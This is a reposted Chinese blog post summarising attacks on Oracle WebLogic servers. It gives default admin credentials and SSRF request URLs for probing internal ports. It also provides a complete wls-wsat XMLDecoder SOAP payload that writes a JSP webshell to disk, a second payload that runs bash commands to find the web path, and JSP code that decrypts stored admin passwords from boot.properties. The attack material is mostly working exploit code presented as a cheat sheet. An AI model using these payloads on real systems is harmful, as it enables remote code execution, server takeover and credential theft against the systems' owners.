針對Weblogic測試的一些小總結(轉)


1. 管理員登錄頁面弱密碼

Weblogic的端口一般為7001,弱密碼一般為weblogic/Oracle@123 or weblogic,或者根據具體情況進行猜測,公司名,人名等等,再有就可以用burpsuiteintruder進行暴力破解,一旦成功就可以上傳wargetshell.

2. weblogic ssrf

Oracle WebLogic web server即可以被外部主機訪問,同時也允許訪問內部主機。如果存在此url
http://192.168.8.128:7001/uddiexplorer/SearchPublicRegistries.jsp 都會存在ssrf.下面我們監聽一下192.168.1.59:139139端口(開啟)跟138端口(未開啟)的返回,端口的開啟情況

http://192.168.8.128:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://192.168.1.59:139&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

http://192.168.8.128:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://192.168.1.59:138&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

3. weblogic反序列化

Wenlogic反序列化的漏洞已經被爆出很長時間,網上可以找出各種各樣的工具,在這里我就不再多提了。

4. weblogic_uac

第一步 抓取http://x.x.x.x:7001/wls-wsat/CoordinatorPortType 對其發起POST請求(任意包都可以,只要url對就可以)

第二步 加入Content-Type:text/xml
第三步 在body中放入payload

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <java><java version="1.4.0" class="java.beans.XMLDecoder">
            <object class="java.io.PrintWriter">
                <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/a.jsp</string><void method="println">
                    <string><![CDATA[`此處放馬(因為馬的代碼量太長顧不在此處展示ps:此處上傳的不要帶有中文要不會報錯,可刪掉中文上傳,也可進行編碼處理)`
]]></string></void><void method="close"/>
            </object>
        </java>
      </java>
    </work:WorkContext>
  </soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

以上為默認路徑,如果不是默認路徑同時又是linux系統可用以下payload爆出路徑

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
   <soapenv:Header>
     <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
         <java version="1.8.0_131" class="java.beans.xmlDecoder">
           <void class="java.lang.ProcessBuilder">
             <array class="java.lang.String" length="3">
               <void index="0">
                 <string>/bin/bash</string>
               </void>
               <void index="1">
                 <string>-c</string>
               </void>
               <void index="2">
                 <string>find $DOMAIN_HOME -type d -name bea_wls_internal|while read f;do find $f -type d -name war;done|while read ff;do echo $ff >$ff/a.txt;done</string>
               </void>
             </array>
           <void method="start"/></void>
         </java>
       </work:WorkContext>
     </soapenv:Header>
   <soapenv:Body/>
 </soapenv:Envelope>

5. weblogic 在線與離線解密

如有webshell可進行在線解密
把以下代碼放入服務器進行訪問,s=""中填寫weblogic的加密密碼,可在boot.properties文件中找到。默認路徑為../../../Server/security/boot.properties

<%@page pageEncoding="utf-8"%>
<%@page import="weblogic.security.internal.*,weblogic.security.internal.encryption.*"%>
<%
   EncryptionService es = null;
   ClearOrEncryptedService ces = null;
    String s = null;
    s="{AES}wfFNcH6k+9Nz22r1gCMnylgUr9Ho5kz8nDgib/TuOZU=";
    es = SerializedSystemIni.getEncryptionService();
    if (es == null) {
       out.println("Unable to initialize encryption service");
        return;
    }
    ces = new ClearOrEncryptedService(es);
    if (s != null) {
        out.println("\nDecrypted Password is:" + ces.decrypt(s));
    }
%>

離線解密需要兩個文件SerializedSystemIni.datboot.properties

 


 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM